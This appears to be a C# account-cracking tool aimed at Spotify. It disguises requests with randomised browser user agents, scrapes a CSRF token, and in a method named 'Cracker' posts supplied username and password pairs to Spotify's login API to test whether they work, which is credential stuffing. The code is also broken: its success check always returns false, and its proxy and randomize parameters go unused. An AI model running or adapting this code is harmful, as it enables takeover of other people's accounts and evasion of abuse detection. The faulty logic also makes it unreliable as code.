using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Text.RegularExpressions;
using System.Collections;
using System.Reflection;

namespace Module
{
    class Spotify
    {

        public static CookieContainer Cookies = new CookieContainer();

        public static string RandomAgent()
        {


            List<string> UserAgents = new List<string>();
            UserAgents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
            UserAgents.Add("Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0");
            UserAgents.Add("Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36");
            UserAgents.Add("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36");
            UserAgents.Add("Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36");
            UserAgents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko");
            UserAgents.Add("Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)");
            UserAgents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A");
            UserAgents.Add("Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25");
            UserAgents.Add("Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16");
            UserAgents.Add("Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51");
            UserAgents.Add("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0");

            Random rnd = new Random();
            var r = rnd.Next(1, UserAgents.Count);

            return UserAgents[r];

        }

        public static string csrf_token()
        {

            var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F");
            request.CookieContainer = Cookies;

            request.Method = "HEAD";
            request.KeepAlive = true;
            request.ContentType = "text/html;charset=utf-8";
            request.UserAgent = RandomAgent();

            var response = request.GetResponse().Headers.ToString();

            Match match = Regex.Match(response, "Set-Cookie: csrf_token=.*");
            string result = match.Value.Replace("Set-Cookie: csrf_token=", "");
            string[] result2 = result.Split(';');
            string finalresult = result2[0];

            return finalresult;
        }

        public static void GetCookies()
        {
            var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/api/login");
            request.CookieContainer = Cookies;

            var postData = "remember=false";
            postData += "&username=USERNAME";
            postData += "&password=PASSWORD";
            postData += "&csrf_token=" + csrf_token();
            var data = Encoding.ASCII.GetBytes(postData);

            request.KeepAlive = true;
            request.Method = "POST";
            request.Accept = "application/json, text/plain, */*";
            request.Headers.Add("Origin", "https://accounts.spotify.com");
            request.Headers.Add("Accept-Language", "sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4");
            request.Headers.Add("Accept-Encoding", "gzip, deflate");
            request.Headers.Add("Cache-Control", "no-cache");
            request.Headers.Add("Set-Cookie", "csrf_token=" + csrf_token() + ";Version=1;Domain=accounts.spotify.com;Path=/;Secure");

            request.ContentType = "application/x-www-form-urlencoded";
            request.UserAgent = RandomAgent();
            request.Referer = "https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F";
            request.ContentLength = data.Length;

            using (var stream = request.GetRequestStream())
            {
                stream.Write(data, 0, data.Length);
                stream.Close();
            }

            var response = (HttpWebResponse)request.GetResponse();
        }

                public static bool Cracker(string username, string password, string proxy, bool randomize)
        {
            GetCookies();
            var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/api/login");
            request.CookieContainer = Cookies;

            var postData = "remember=false";
            postData += "&username=" + username;
            postData += "&password=" + password;
            postData += "&csrf_token=" + csrf_token();
            var data = Encoding.ASCII.GetBytes(postData);

            request.KeepAlive = true;
            request.Method = "POST";
            request.Accept = "application/json, text/plain, */*";
            request.CookieContainer.Add(new Cookie("csrf_token", csrf_token()) { Domain = "accounts.spotify.com" });
            request.CookieContainer.Add(new Cookie("__bon", "MHwwfC0xNzE5NjQ0MjgyfC03MjIyNTA1OTg0NHwxfDF8MXwx") { Domain = "accounts.spotify.com" });
            request.CookieContainer.Add(new Cookie("fb_continue", "https%3A%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F") { Domain = "accounts.spotify.com" });
            request.CookieContainer.Add(new Cookie("_ga", "GA1.2.2129413168.1458374419") { Domain = "accounts.spotify.com" });
            request.CookieContainer.Add(new Cookie("_gat", "1") { Domain = "accounts.spotify.com" });
            request.Headers.Add("Origin", "https://accounts.spotify.com");
            request.Headers.Add("Accept-Language", "sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4");
            request.Headers.Add("Accept-Encoding", "gzip, deflate");
            request.Headers.Add("Cache-Control", "no-cache");
            request.Headers.Add("Set-Cookie", "csrf_token=" + csrf_token() + ";Version=1;Domain=accounts.spotify.com;Path=/;Secure");

            request.ContentType = "application/x-www-form-urlencoded";
            request.UserAgent = RandomAgent();
            request.Referer = "https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F";
            request.ContentLength = data.Length;

            using (var stream = request.GetRequestStream())
            {
                stream.Write(data, 0, data.Length);
                stream.Close();
            }

            var response = (HttpWebResponse)request.GetResponse();
            var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

            if (responseString.Contains(""))
            {
                return false;

            }
            else
            {

                return true;


            }



        }

    }
}